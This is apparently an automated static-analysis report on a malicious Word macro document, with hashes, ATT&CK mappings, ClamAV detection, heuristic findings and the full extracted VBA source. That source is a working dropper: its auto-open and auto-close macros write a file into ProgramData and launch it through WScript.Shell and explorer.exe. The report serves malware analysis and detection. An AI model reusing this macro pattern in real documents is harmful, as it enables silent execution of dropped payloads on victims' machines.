Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d545f2c975876caa…

MALICIOUS

Office (OOXML)

75.6 KB Created: 2020-08-26 07:22:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 4a0bcb3290e587e7ca74990ee81f63f6 SHA-1: 415337a9f2a4a4215a018214dc4dfd54558120d5 SHA-256: d545f2c975876caa160d23b3a963df965cde059dc0099a43e7979b3c903e82eb
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with AutoOpen and Auto_Close subroutines. The AutoOpen subroutine creates a file named 'OIUTFuy' in C:\ProgramData and writes arbitrary data to it. The Auto_Close subroutine then executes this file using 'explorer.exe'. This behavior is indicative of a dropper malware.

Heuristics 8

  • ClamAV: Doc.Dropper.Sdrop-9763172-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Sdrop-9763172-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Rederest = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Hertil = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
Sub autoClose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1294 bytes
SHA-256: c7a462f3cf0a32f7f7131b762f39a10ca9feaa03113536626e046bb5e4d14f98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Trest"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Lost"
Attribute VB_Base = "0{B8460D8F-55A0-436B-AB7F-BF60B3AC207F}{22E0A7DC-E36A-4CCF-998F-E73CF186DB8D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Private Rederest
Private Hertil

Sub autoOpen()

Set Hertil = CreateObject("Scripting.FileSystemObject")

Set a = Hertil.CreateTextFile("C:\ProgramData\OIUTFuy", True)

a.WriteLine ("JerinTra")
a.WriteLine ("JerinTra")
a.WriteLine ("JerinTra")

a.Close
         
   Application.Quit SaveChanges:=False

End Sub
Sub autoClose()


Set Hertil = CreateObject("Scripting.FileSystemObject")

Set a = Hertil.CreateTextFile(Trest.DefaultTargetFrame, True)

a.WriteLine Lost.Droks.Caption

a.Close
         
Set Rederest = CreateObject("WScript.Shell")

Rederest.Exec "explorer.exe " & Trest.DefaultTargetFrame

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 231424 bytes
SHA-256: cc0722cb979cb3201419de28d0cafabba4277d9728e806fd0b8e629ff79a8a57
Detection
ClamAV: Doc.Dropper.Sdrop-9763172-0
Obfuscation or payload: unlikely

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